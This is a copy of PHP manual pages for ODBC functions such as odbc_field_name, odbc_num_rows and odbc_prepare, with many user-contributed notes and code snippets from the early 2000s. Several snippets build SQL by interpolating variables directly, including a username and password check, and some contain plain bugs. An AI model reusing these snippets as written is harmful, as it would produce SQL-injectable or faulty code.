odbc_field_name() will return the name of the field occupying the given column number in the given ODBC result identifier. Field numbering starts at 1. FALSE is returned on error.

add a note add a note User Contributed Notes
jezzghost
22-Feb-2006 02:32
Note that there is a known limitation with this which truncates the length of the returned field name to 31 characters without warning.
hayes029 at bama dot ua dot edu
14-Apr-2004 01:01
In search of a function that would simply return an array with the names of the fields in a result identifier, the only thing I could find was the odbc_field_name function.  So, for anyone else looking for such a function, here's the (very simple) function I wrote:

function odbc_field_names ($result) {
  for ($i=1; $i <= odbc_num_fields($result); $i++) $return_array[$i-1] = odbc_field_name($result, $i);
  return $return_array;
}

Very simple, I know, but I thought it might be helpful.
andrea dot galli at acotel dot com
29-Apr-2003 11:12
Example: function field name.

$Link_ID = odbc_connect("DSN", "user", "pass");

$query = "SELECT * FROM products";

$Query_ID = odbc_exec($Link_ID, $query);

while($field = $field_name($Query_ID ))
{
     echo("Field: $field<br />\n");
}

---------------------

function field_name($PrQuery_ID)
{
     if($Column < odbc_num_fields($PrQuery_ID))
     {
         $Column += 1;
         $FieldName = odbc_field_name($PrQuery_ID, $Column);

         return $FieldName;
     }
     else
     {
         return 0;
     }
}
aleckzandr at yahoo dot com
17-Apr-2003 03:04
Well, I've been into PHP for four hours and thanks to "my predecessors before me" (gold163, curt, et al.) I've managed the following. The first thing I try to learn with any web scripting language is to build a dynamic table from a data source. (One thing you didn't have to do gold -previous post- is build an array for the field value.) Cheers! Alex

<html>
 <head>
  <title>PHP Database Example</title>
 </head>
 <style type="text/css">
 <!--
  body {font: 10pt/12pt Tahoma, Verdana, Helvetica, sans-serif; color: indigo; margin: .25in .5in }
  table {color:Navy; background-color:AntiqueWhite; border-color:Maroon; border-style:Solid; border-width: 2px; }
  th {color: blue; font-weight: bold; }
  td {font-size: smaller; }
  .mytable {color:Maroon; background-color:White; border-color:Navy; border-style:Solid; border-width: 1px; }
  th.mytable {background-color:#C0C0C0; }
 //-->
 </style>
 <body>

 <p><?php echo date("j F, Y"); ?></p>
<?php

$db = odbc_connect("eSell22MDB","","");
$result = odbc_exec($db, "select ProductID, ProductName, Description1 from Products");

// cool function - returns table
odbc_result_all($result, "border=\"1\" class=\"def\"");

$result = odbc_exec($db, "select * from Products") or die("Select failed");

$myUtil = new Utilities();

$myUtil->standard_table($result,"mytable");

class Utilities {

     function standard_table($result,$class="")
     {
         // To format your table if you want to use cascading style sheets
         if ($class == "")
         {
             $css_table = " border=\"1\"";
             $css_tr = "";
             $css_th = "";
             $css_td = "";
         }
         else
         {
             $css_table = " class=\"$class\"";
             $css_tr = " class=\"$class\"";
             $css_th = " class=\"$class\"";
             $css_td = " class=\"$class\"";
         }

         // Create field names for table header row
         $i = 0;
         $fieldCount = odbc_num_fields($result);
         echo "  <table$css_table>\n";
         echo "  <tr$css_tr>\n";

         while ($i < $fieldCount)
         {
             $i++;
             $fieldName = odbc_field_name($result, $i);
             echo "    <th$css_th>$fieldName</th>\n";
         }
         echo "  </tr>\n";

         # Create table data rows for query result
         while (odbc_fetch_row($result))
         {
             $i = 0;
             echo "  <tr$css_tr>\n";
             while ($i < $fieldCount)
             {
                 $i++;
                 $fieldData = trim(odbc_result($result, $i));
                 if ($fieldData  == "")
                     echo "    <td$css_td>&nbsp;</td>\n";
                 else
                     echo "    <td$css_td>$fieldData</td>\n";
             }
             echo "  </tr>\n";
         }
         echo "  </table>";
     }
} // class Utilities

?>

 </body>
</html>
gold163 at lisco dot com
26-Mar-2003 01:10
Using your code, and taking it a step further, I can create a standard table from a single line of code by calling a function from my include file - the bonus is, that I can optionally provide a parameter for the name of my style sheet class - further simplifying my formatting of the table.

What synergy you find in these forums - eh?

$Conn = odbc_connect('dsn','user','pass');
$query = "SELECT * FROM yourtable";
$result = odbc_exec($Conn, $query) or die('Select failed!');

standard_table($result);

Function standard_table($result,$class='')
{
# To format your table if you want to use cascading style sheets
 if ($class == '')
 {
  $css_table = ' border=1';
  $css_tr = '';
  $css_th = '';
  $css_td = '';
 }
 else
 {
  $css_table = ' class=\"$class\"';
  $css_tr = ' class=\"$class\"';
  $css_th = ' class=\"$class\"';
  $css_td = ' class=\"$class\"';
 }

# Create field names for table header row
$i = 0;
$fCount = odbc_num_fields($result);
echo "<table$css_table><tr>";
  while ($i < $fCount)
  {
   $i++;
   $fName = odbc_field_name($result, $i);
   echo "<th>$fName</th>";
  }
echo "</tr>";

# Create table data rows for query result
$i = 0;
$fCount = odbc_num_fields($result);
while (odbc_fetch_row($result))
{
echo "<tr>";
  while ($i < $fCount)
  {
   $i++;
   $fName = odbc_field_name($result, $i);
   $job[$fName] = odbc_result($result, $i);
   echo "<td>$job[$fName]</td>";
  }
echo "</tr>";
$i = 0;
}
echo "</table>";
}
curt at digmo dot com
01-Aug-2001 09:58
I turned Jason's code into a function to roughly mimic the mysql_fetch_array function. I'm not a programmer and I've been messing with PHP less than a week, so I imagine there's a more efficient method that what I've come up with.

function odbc_fetch_array($rownum, $res)
{

$i = 0;
$fCount = odbc_num_fields($res);
odbc_fetch_row($res, $rownum);
   while ($i < $fCount)
       {
   $i++;
   $fName = odbc_field_name($res, $i);
   $myrow[$fName] = odbc_result($res, $i);
         }
$i=0;
return $myrow;
}
11-Mar-2001 08:11
Wow, I finally have something to contribute.  :><br><br>
If you, like me, have been seeking a way to name and fill your variables with the appropriate names an values, rather than naming every variable and using odbc_result($result, 1), odbc_result($result, 2), etc...Then this little loop is for you!  It would probably be nice to use as function, but I'm sure you can do that on your own, eh?<br><br>

<?
$query = "SELECT * FROM TableName";
$result = odbc_exec($conn, $query) or die('Select failed!');
$i = 0;
$fCount = odbc_num_fields($result);

while (odbc_fetch_row($result))
{
while ($i < $fCount)
{
$i++;
$fName = odbc_field_name($result, $i);
$job[$fName] = odbc_result($result, $i);
 }
$i=0;
}
?>

This should be pretty simple code to follow, you can address your variables at any time later using the column names from your table.  For now I am addressing them with their real values and using this simply to avoid having to type out all the variable names in the top of my code.  Have fun.

Jason/ArtHacker.com
add a note add a note

后退 | 起点 | 前进
odbc_field_len | 上一级 | odbc_field_num


odbc_field_num

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_field_num -- Return column number

Description

int odbc_field_num ( resource result_id, string field_name )

odbc_field_num() will return the number of the column slot that corresponds to the named field in the given ODBC result identifier. Field numbering starts at 1. FALSE is returned on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_field_name | 上一级 | odbc_field_precision


odbc_field_precision

(PHP 4, PHP 5)

odbc_field_precision -- Synonym for odbc_field_len()

Description

int odbc_field_precision ( resource result_id, int field_number )

odbc_field_precision() will return the precision of the field referenced by number in the given ODBC result identifier.

See also: odbc_field_scale() to get the scale of a floating point number.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_field_num | 上一级 | odbc_field_scale


odbc_field_scale

(PHP 4, PHP 5)

odbc_field_scale -- Get the scale of a field

Description

int odbc_field_scale ( resource result_id, int field_number )

odbc_field_scale() will return the scale of the field referenced by number in the given ODBC result identifier.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_field_precision | 上一级 | odbc_field_type


odbc_field_type

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_field_type -- Datatype of a field

Description

string odbc_field_type ( resource result_id, int field_number )

odbc_field_type() will return the SQL type of the field referenced by number in the given ODBC result identifier. Field numbering starts at 1.

add a note add a note User Contributed Notes
not[at]wgpower[dot]net
19-May-2006 08:02
Some fields can be of the following type too : REAL
jazper at lycos dot de
11-Jul-2002 06:30
Returntypes on Access2000
COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink

cheers, j.a.z.
add a note add a note

后退 | 起点 | 前进
odbc_field_scale | 上一级 | odbc_foreignkeys


odbc_foreignkeys

(PHP 4, PHP 5)

odbc_foreignkeys -- Returns a list of foreign keys in the specified table or a list of foreign keys in other tables that refer to the primary key in the specified table

Description

resource odbc_foreignkeys ( resource connection_id, string pk_qualifier, string pk_owner, string pk_table, string fk_qualifier, string fk_owner, string fk_table )

odbc_foreignkeys() retrieves information about foreign keys. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • PKTABLE_QUALIFIER

  • PKTABLE_OWNER

  • PKTABLE_NAME

  • PKCOLUMN_NAME

  • FKTABLE_QUALIFIER

  • FKTABLE_OWNER

  • FKTABLE_NAME

  • FKCOLUMN_NAME

  • KEY_SEQ

  • UPDATE_RULE

  • DELETE_RULE

  • FK_NAME

  • PK_NAME

If pk_table contains a table name, odbc_foreignkeys() returns a result set containing the primary key of the specified table and all of the foreign keys that refer to it.

If fk_table contains a table name, odbc_foreignkeys() returns a result set containing all of the foreign keys in the specified table and the primary keys (in other tables) to which they refer.

If both pk_table and fk_table contain table names, odbc_foreignkeys() returns the foreign keys in the table specified in fk_table that refer to the primary key of the table specified in pk_table. This should be one key at most.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_field_type | 上一级 | odbc_free_result


odbc_free_result

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_free_result -- Free resources associated with a result

Description

bool odbc_free_result ( resource result_id )

Always returns TRUE.

odbc_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script is finished. But, if you are sure you are not going to need the result data anymore in a script, you may call odbc_free_result(), and the memory associated with result_id will be freed.

注: If auto-commit is disabled (see odbc_autocommit()) and you call odbc_free_result() before committing, all pending transactions are rolled back.

add a note add a note User Contributed Notes
rich at kastle dot com
20-Dec-2004 07:48
("Note:  If auto-commit is disabled (see odbc_autocommit()) and you call odbc_free_result() before committing, all pending transactions are rolled back.")

I've looked thru the code, and that note is definitely wrong, at least in my environment (Windows/SQL Server).  odbc_free_result ultimately just calls SQLFreeStmt which has NO EFFECT on outstanding transactions.

In fact, it seems it must be wrong for all environments, because the SQLFreeStmt is bound to the destruction of the result resource.  So unset($result) would be just as dangerous - and you're randomly and unpredictably screwed if garbage collection reaps the result set before your transaction's done.
rogersd at island dot net
06-Sep-2001 11:03
odbc_free_result() is also the way to avoid the dreaded "Too many open cursor" error.
add a note add a note

后退 | 起点 | 前进
odbc_foreignkeys | 上一级 | odbc_gettypeinfo


odbc_gettypeinfo

(PHP 4, PHP 5)

odbc_gettypeinfo -- Returns a result identifier containing information about data types supported by the data source

Description

resource odbc_gettypeinfo ( resource connection_id [, int data_type] )

Retrieves information about data types supported by the data source. Returns an ODBC result identifier or FALSE on failure. The optional argument data_type can be used to restrict the information to a single data type.

The result set has the following columns:

  • TYPE_NAME

  • DATA_TYPE

  • PRECISION

  • LITERAL_PREFIX

  • LITERAL_SUFFIX

  • CREATE_PARAMS

  • NULLABLE

  • CASE_SENSITIVE

  • SEARCHABLE

  • UNSIGNED_ATTRIBUTE

  • MONEY

  • AUTO_INCREMENT

  • LOCAL_TYPE_NAME

  • MINIMUM_SCALE

  • MAXIMUM_SCALE

The result set is ordered by DATA_TYPE and TYPE_NAME.

add a note add a note User Contributed Notes
andrea dot galli at acotel dot com
30-Apr-2003 12:45
Example: display all data types

<?php

     $Link_ID = odbc_connect("DSN", "user", "pass");
     $result = odbc_gettypeinfo($Link_ID);

     odbc_result_all($result);

?>
add a note add a note

后退 | 起点 | 前进
odbc_free_result | 上一级 | odbc_longreadlen


odbc_longreadlen

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_longreadlen -- Handling of LONG columns

Description

bool odbc_longreadlen ( resource result_id, int length )

(ODBC SQL types affected: LONG, LONGVARBINARY) The number of bytes returned to PHP is controlled by the parameter length. If it is set to 0, Long column data is passed through to the client.

注: Handling of LONGVARBINARY columns is also affected by odbc_binmode().

add a note add a note User Contributed Notes
Paul Schmidinger
30-Aug-2005 08:44
In my current situation, odbc_binmode(), odbc_longreadlen() and the lrl-setting in the php.ini do not help. But when I remove the DISTINCT from my SELECT-query, it works. I guess in my case DISTINCT truncates the data somehow. Hope that helps someone.

Paul
php dot net dot notes at webqs dot com
06-Aug-2005 09:12
Hi

If you are experiencing troubles with truncated and/or strangely encoded data when using PHP with MS SQL via ODBC try setting odbc.defaultlrl ( in php.ini or via ini_set() ) to a largish number, say 65536, as stated in the other notes here.
The trick is to know how long your data is going to be, so you may want to provide some overhead. Unfortunately you have to know how long your piece of string is before you cut it.

Doing this will allow your app to read up to this amount in one go. I'm sure there is a reason for this behaviour but I hadn't experienced anything like it in 5 years of MySQL and Postgres development.

If you still experience problems AND are using unicode data in the long column of your table, make sure it is set to type "ntext", if it is "text". MSDN has some info on data types for Unicode data.
This caused about 3 days of headaches for me, "binary" data crashing browsers and cyclical result sets (i.e repeating data after odbc.defaultlrl bytes).

This fix was only found by poking things with sticks.

HTH
jdcard at inreach dot com
09-Dec-2004 01:37
I was reading from a MEMO field (long varchar) in MSAccess, but the data was consistently truncated at 255 characters. I tried all the combinations of odbc_longreadlen() and odbc_binmode()  (and odbc.defaultlrl) that I could think of but none of them resolved the problem.

The only fix that worked was to modify my query from "SELECT Field1, Field2 FROM TableName" to "SELECT * FROM TableName".

I suspect that you could cast the field to force the appropriate data type, but when it finally worked after three days of struggle I didn't even try.
26-Sep-2002 08:00
An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length
buzz77 at gmx dot net
24-Nov-2001 06:31
Aaargh!
I was wondering about truncated data when reading from a TEXT (LONG VARCHAR) column.
With this I was able to increase the buffer size...
jasendorf at lcounty dot com
14-Dec-2000 08:26
I had a heck of a time figuring out what to do with this function.  Here's a little piece of code from Jason Lee which I found that might help someone else...

$cur = odbc_exec($cnx, $query);
if(!$cur) {
/* error handler */
}

odbc_binmode($cur, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen($cur, 16384); /* Allow 16kb thru */

while(odbc_fetch_row($cur)) {
$bigger_than_4096_var = odbc_result($cur, 1);
/* etc... */

Hope this helps someone, John
add a note add a note

后退 | 起点 | 前进
odbc_gettypeinfo | 上一级 | odbc_next_result


odbc_next_result

(PHP 4 >= 4.0.5, PHP 5)

odbc_next_result -- Checks if multiple results are available

Description

bool odbc_next_result ( resource result_id )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
mypsuedoemail at yahoo dot com
28-May-2006 08:06
This function works exactly like its equivalent Microsoft SQL Server function: mssql_next_result(). The information above is rather vague and a bit misleading, so refer to the mssql version of this function for details on to use it properly.

P.S. It works with stored procedures.
ryanphp at ryanjameson dot com
25-Jan-2002 10:08
Running this on a MS Access result set always seems to return false. It may have the same driver limitations as odbc_num_rows.
add a note add a note

后退 | 起点 | 前进
odbc_longreadlen | 上一级 | odbc_num_fields


odbc_num_fields

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_num_fields -- Number of columns in a result

Description

int odbc_num_fields ( resource result_id )

odbc_num_fields() will return the number of fields (columns) in an ODBC result. This function will return -1 on error. The argument is a valid result identifier returned by odbc_exec().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_next_result | 上一级 | odbc_num_rows


odbc_num_rows

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_num_rows -- Number of rows in a result

Description

int odbc_num_rows ( resource result_id )

odbc_num_rows() will return the number of rows in an ODBC result. This function will return -1 on error. For INSERT, UPDATE and DELETE statements odbc_num_rows() returns the number of rows affected. For a SELECT clause this can be the number of rows available.

Note: Using odbc_num_rows() to determine the number of rows available after a SELECT will return -1 with many drivers.

add a note add a note User Contributed Notes
patx00 put_an_at_symbol_here gmail.com
07-Apr-2006 03:28
If you simply want to loop through the results of a query if there are some results a more efficient way to do it (without looping once for the count and another time for doing whatever you want to do ..) would be this:

$result2 = odbc_exec($vConn, $vSql);
if (odbc_fetch_row($result2, 1)) { //Some results
   odbc_fetch_row($result2, 0); //Go back to 1st row
   while ($vField = odbc_fetch_array($result2)) {
       ....
   }
}

I hope this helps.
michael dot buergi at gmx dot net
05-Apr-2006 08:14
Look at the notes for odbc_fetch_row to find a custom num_rows() function which implements a binary search algorithm.
ramon
27-Aug-2005 04:41
odbc_num_rows for access does return -1. I use count($resultset);
 it seams to work.
moogleii
20-Aug-2005 12:21
With MS SQL, I found if you add an ORDER BY to your SELECT statement, the function will return the correct number of rows.
Alain
10-Aug-2005 02:22
I use ODBC on Windows to connect to Oracle on OpenVMS, and to execute a "select count(*)" I need to add the SQL_CUR_USE_ODBC parameter to odbc_connect.
tysonswing at hotmail dot com
26-Mar-2005 04:08
Quick and easy way to return the number of rows:

$query = "SELECT COUNT(*) FROM <my database name>";
$result = odbc_exec($dbc, $query);
odbc_fetch_into($result, $count, 1);

where:

$dbc = connection_id
$count =  the total number of rows
ashley at ashley-young dot com
30-Nov-2004 02:57
To add to the note about using odbc_num_rows with the Tandem Driver:

As mentioned, the Tandem driver will return -1 until the last row. To use this to your advantage for formatting Tandem output, you can simply say:

while(odbc_num_rows($rs) == -1)
{
  $row = odbc_fetch_object($rs);
  print $row->fieldname;
}

From there, you can format Tandem output as you normally would with mssql or mysql.
paul at mNoOvSePtAoMiNcOeSlPaMnNdO dot ScPoAmM
01-Oct-2004 02:25
Here's a quick and dirty function that *should* return the number of rows in a query even if the driver is being ornery.

<?php
function better_odbc_num_rows($con,$sql){
   $result = odbc_exec($con,$sql);
   $count=0;
   while($temp = odbc_fetch_into($result, &$counter)){
       $count++;
   }
   return $count;
}
?>

$con is your ODBC connection, and $sql is your SQL query. Put it in your header and you should be good to go.
Lambert Antonio [ lamy ]
09-Dec-2003 01:30
It isnt the drivers actually that makes recordcount return -1, its because the recordcount property is a read-only property available to recordsets opened with one of two kinds of cursor types, opening it as static will return the actual value by default it is opened as forward only. FYI
Saran
25-Sep-2003 03:16
Using odbc_num_rows() against MS SQL Server will return correct number of result if you add 'TOP' modifier in the select statement, make it too big number to make sure they will cover all possible records, it doesn't effect any performance, for example:

$query="select top 100000 * from employees where dept_id=$dept_id";

instead of just:

$query="select * from employees where dept_id=$dept_id";

The first statement will return the correct number of records while the latter will always return -1 if there are any records or 0 if no record at all.

However if you only want to examine whether there is a record, -1 is suffice.

Another solution is to use odbc_next_result() function, count for the records in first statement and follow by select statement, for example:

$query="select count(*)from employees where dept_id=$dept_id;select*from employees where dept_id=$dept_id"

After execute this multiple statements in a single execution, it will return multiple recordsets:

$result=odbc_exec($connection,$query);
# get number of records form count statement
if(odbc_fetch_row($result))$record_count=odbc_result($result,1);
# go to next result set
odbc_next_result($result);
# the code to handle next result set here...

Hope this help...
avodiez at hotmail dot com
17-Sep-2003 03:36
I've found a little mistake while trying deejay_'s function against an ODBC SQL Server driver.

If you work with that database, subqueries must be named. So if you are trying to get record number deejay_'s way, you must use AS statement when passing SELECT count(*) query as this:

where is

$countQueryString="SELECT count(*) as result FROM (".$query.")";

might be

$countQuerySrting="SELECT count(*) as result FROM (".$query.") AS anyNameYouLike ";

As well, be carefull with ORDER BY statements in subqueries as they are not accepted unless they with TOP modifyers.

Avo
-/-/- Jag Alskar Carla och Sverige -/-/-
25-Apr-2003 03:08
I solved the problem using two "while(odbc_fetch($result))", one for counting (on top of the table) and the other to populate the table:

--- counting: ----

$result_count = odbc_exec($connection, $sql);

while (odbc_fetch_row($result_count))
{
   $count++;
}

echo "Title";

if ($count)
{
   echo "Total: <b>$count</b>.";
}
else
{
   echo "No Records Found.";
}

---- populating: ----

$result = odbc_exec($connection, $sql);

while (odbc_fetch_row($result))
{
   (...)
}
odbc_close ($connection);
deejay_
11-Apr-2003 05:50
i modified the script of fergus a little bit so that you can give the whole query string to the function.
Maybe some find this one helpfull.

<?php
function odbc_record_count ($result, $odbcDbId, $query)
{
  $numRecords = odbc_num_rows ($result);
  if ($numRecords < 0)
  {
   $countQueryString = "SELECT count(*) as results FROM (".$query")";
   $count = odbc_exec ($odbcDbId, $countQueryString);
   $numRecords = odbc_result ($count, "results");
  }

  return $numRecords;
}
?>

deejay_
EC
28-Mar-2003 04:55
This is how I got odbc_num_rows to work...I was getting "-1" and "Resource id #3"  for the result until I added the variable $rows

(code)
$rows = odbc_result_all($sql_result, "border='1' bordercolor='#003636'");
odbc_num_rows($sql_result);
print "Number of rows:$rows";
odbc_free_result($sql_result);
odbc_close($connection);
?>
(code)
joef43065NOSPAM at yahoo dot NOSPAM dot com
17-Dec-2002 07:51
This function calls SQLRowCount, which according to the ODBC Specification returns "the number of rows affected by an UPDATE, INSERT, or DELETE statement;" This is not what odbc_num_rows is supposed to return, though it works with some ODBC drivers. Search for "ODBC reference sqlrowcount" (no quotes) on Google for more information (link is too long to post).
webmaster at walia dot com
23-Nov-2002 11:09
if you are using ODBC you will get -1 as the answer to this command most of the time.  I tried this on windows (sigh) and it did not work.

If you are using ODBC with a DSN for MS ACCESS then the best method would be

CODE:
--------
 $connection = odbc_connect("DSN_name","userid","password") or die("ERROR");
 $sql = "SELECT COUNT(*) FROM tablename";
 $sql_result = odbc_prepare($connection,$sql) or die("ERROR");
 odbc_execute($sql_result) or die("ERROR");
 $rc = odbc_fetch_into($sql_result, $my_array);
 echo ("Total rows: " . $my_array[0]);
 odbc_free_result($sql_result);
 odbc_close($connection);

--------

This way you do not have to go through loops and stuff. imagine if you had over 100,000 entried (rows) and you tried to count them using a loop with incrememnting counter. It would really screw up the CPU. specially if you get 100 people doing the same thing at the same time (which you never know)

Using this method is fast and most convenient for me at least.
fergus at serif dot net
23-Oct-2002 11:21
building on masuod_a@hotmail.com's note, above, I made this function which is similar but uses the SQL count(*) recomended in other notes. I've tested this against masuod_a's function and this is much faster for me.

function odbc_record_count($result, $conn, $db, $options) {
   $numRecords=odbc_num_rows($result);
   if ($numRecords<0) {
       $countQueryString = "SELECT count(*) FROM $db $options";
       $count = odbc_exec($conn, $countQueryString);
       $numRecords = odbc_result($count, 1);
   }
   return $numRecords;
}

called like this: odbc_record_count($result, $conn, $dsn, "myField='myValue'");

where $result is the indicator to try first with odbc_num_rows, $conn is the result of your original odbc_connect, $dsn is the DSN used to get $conn and also works as the table name for the count(*), and $options is to add any WHERE this = 'that' SQL arguments.
Christian dot Schlager at t-online dot de
14-Oct-2002 08:21
odbc_num_rows returns -1 with the drivers i'm using, too.

Using the keyword DISTINCT in the select-statement makes the function return the correct number of rows.

Alas, this doesnt work if i want to select text from a table, because in this case, you cant use DISTINCT.
Anyway, i hope it helps.
masuod_a at hotmail dot com
23-Feb-2002 04:34
i wrote a function for counting odbc records , this function work for all odbc drivers :

function odbc_record_count($sql_id, $CurrRow = 1)
{
if ($NumRecords=odbc_num_rows($sql_id)<0) {
 $NumRecords = 0;
 odbc_fetch_row($sql_id,0);
 while (odbc_fetch_row($sql_id))
 {
   $NumRecords++;
 }
 odbc_fetch_row($sql_id, $CurrRow);
}
 return $NumRecords;
}
oscaralvaro at correo dot udep dot edu dot pe
28-Jan-2002 10:27
There is another SQL stament to get the rows number:
SELECT COUNT(*) from Usuario where (UsrUsername = '$username') AND (UsrPassword = '$contrasena');
I think this is more fast.
mikeheald at streamgroup dot SPAMBGONE dot co dot uk
29-Nov-2001 03:14
I have found the odbc functions to be unreliable with MSSQL 7. odbc_num_rows returns incorrect results, and specifying which row to return in odbc_result has no effect (this is with php4.0.6)
t3singh at uwaterloo dot ca
03-Oct-2001 03:47
Hi, had troubles with this as well and after quite a while and after reading several posts I came up with the following:

       $to_ret = 0;
       while(odbc_fetch_row($result))
           $to_ret++;

       odbc_fetch_row($result,0);
       return $to_ret;

just put it all in a function and I think it should do
nlange at NOSPAM dot usb dot com
18-Jul-2001 07:44
Quick note on buggy odbc drivers...<BR>
For the Tandem ODBC Driver <BR> odbc_num_rows() returns -1 up until the very last row fetched <BR>[for example, while(odbc_fetch_into()){} ]...<BR><BR> So, you can at least tell which is the last row using odbc_num_rows(), which proves useful in HTML rendering situations...
ntp at panda dot bg dot unv dot gda dot pl
22-Mar-2001 11:31
An alternative way of getting the number of rows if your driver returns -1 is to requery using the above query:

SELECT Count(*) FROM (SELECT ... original query);

I don't only know which solution is faster: to requery, or to fetch lot of rows (it depends on how does SQL engine does Count operation)
shinelight at excite dot com
14-Feb-2001 01:23
A better method for calculating the record count (without being forced to use objects) is:

function RecordCount($sql_id, $CurrRow = 0)
{
  $NumRecords = 0;

  odbc_fetch_row($sql_id, 0);
  while (odbc_fetch_row($sql_id))
  {
   $NumRecords++;
  }
  odbc_fetch_row($sql_id, $CurrRow);
  return $NumRecords;
}

The only problem arises (in both this and the bit of code relying on objects) is when the driver does not support fetching a specific row number.  In that case, the query will have to be run again (and cross your fingers that the data has not changed in the datasource).
add a note add a note

后退 | 起点 | 前进
odbc_num_fields | 上一级 | odbc_pconnect


odbc_pconnect

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_pconnect -- Open a persistent database connection

Description

resource odbc_pconnect ( string dsn, string user, string password [, int cursor_type] )

Returns an ODBC connection id or 0 (FALSE) on error. This function is much like odbc_connect(), except that the connection is not really closed when the script has finished. Future requests for a connection with the same dsn, user, password combination (via odbc_connect() and odbc_pconnect()) can reuse the persistent connection.

注: Persistent connections have no effect if PHP is used as a CGI program.

For information about the optional cursor_type parameter see the odbc_connect() function. For more information on persistent connections, refer to the PHP FAQ.

add a note add a note User Contributed Notes
alberici at to dot infn dot it
15-Jul-2002 07:42
I saw that closing an ODBC persistent connection opened with odbc_pconnect() with odbc_close() doesnt work. Someone here have proposed using odbc_close_all() but wouldnt that close all persistent connections (also others ones !!!) ? What about catching a persistent handle with odbc_connect() and then closing the connection with odbc_close() ? If there are no available handles (for some reason the last pconn has been closed) this approach opens and close a normal single-script connection. Waiting comments...
j_schrab at execpc dot com
17-Jan-2001 01:41
Ok, learning time.  As I was told by the PHP-DevTeam...

Multiple connections are supported, but when you try to connect with exactly the same parameters, an existing
connection will be reused, leading to the behaviour you see.

You can simply omit the calls to odbc_close() since
connections get closed on script termination anyway or better:
Consider making your connection id a global variable or pass
it to your functions.
wls at wwco dot com
11-Aug-2000 10:44
I found that using  odbc_close($odbchandle)  on a connection opened by odbc_pconnect() causes a warning "not a valid ODBC-Link resource".  So you can't just change odbc_connect() to odbc_pconnect() and expect things to work without warning messages.  However, you can use odbc_close_all() and not get a warning.
etsai at email dot com
29-Jun-2000 12:10
The following constants are defined for cursortype:
 - SQL_CUR_USE_IF_NEEDED
 - SQL_CUR_USE_ODBC
 - SQL_CUR_USE_DRIVER
 - SQL_CUR_DEFAULT

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.
add a note add a note

后退 | 起点 | 前进
odbc_num_rows | 上一级 | odbc_prepare


odbc_prepare

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_prepare -- Prepares a statement for execution

Description

resource odbc_prepare ( resource connection_id, string query_string )

Returns FALSE on error.

Returns an ODBC result identifier if the SQL command was prepared successfully. The result identifier can be used later to execute the statement with odbc_execute().

Some databases (such as IBM DB2, MS SQL Server, and Oracle) support stored procedures that accept parameters of type IN, INOUT, and OUT as defined by the ODBC specification. However, the Unified ODBC driver currently only supports parameters of type IN to stored procedures.

In the following code, $res will only be valid if all three parameters to myproc are IN parameters:
<?php
$a = 1;
$b = 2;
$c = 3;
$stmt = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$res = odbc_execute($stmt, array($a, $b, $c));
?>
If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, mssql for MS SQL Server, or oci8 for Oracle).

add a note add a note User Contributed Notes
Marek
16-Dec-2004 04:59
Use this example for IBM DB/2:

$q = "update TABLE set PASS=? where NAME=?";
$res = odbc_prepare ($con, $q);

$a = "secret"; $b="user";
$exc = odbc_execute($res, array($a, $b));
add a note add a note

后退 | 起点 | 前进
odbc_pconnect | 上一级 | odbc_primarykeys


odbc_primarykeys

(PHP 4, PHP 5)

odbc_primarykeys -- Returns a result identifier that can be used to fetch the column names that comprise the primary key for a table

Description

resource odbc_primarykeys ( resource connection_id, string qualifier, string owner, string table )

Returns the column names that comprise the primary key for a table. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER

  • TABLE_OWNER

  • TABLE_NAME

  • COLUMN_NAME

  • KEY_SEQ

  • PK_NAME

add a note add a note User Contributed Notes
dan dot scott at ca dot ibm dot com
21-Dec-2004 11:51
Responding to devendra_joshi:

In DB2 Universal Database for Linux, UNIX, and Windows the catalog views are accessed through the SYSCAT schema, not the SYSIBM schema -- so you should be issuing "SELECT * FROM SYSCAT.KEYCOLUSE" to list all of the columns that participate in a given key constraint.

A complete list of the catalog views for DB2 can be referenced at http://publib.boulder.ibm.com/infocenter/db2help/ by searching for 'catalog views' and selecting the top hit.
Rio Bautista (RRIT)
21-Feb-2004 12:08
Sample to get the primary keys of an MSSQL table:

$cn = odbc_connect( "DSN", "sa", "pwd");

$rs = odbc_primarykeys( $cn, "database", "dbo", "table_name");

odbc_result_all($rs);
devendra_joshi at hotmail dot com
11-Jul-2003 05:52
I want a list of primary keys of a table in db2

by using
'select * from SYSIBM.SYSKEYCOLUSE ' query i am getting the result on CLP
but when i am writing it in PHP as follows it returns 0 ROWS.

$mstmt="select * from SYSIBM.SYSKEYCOLUSE";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

where as  if we write this code

$mstmt="select * from SYSIBM.SYSFUNCTIONS";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

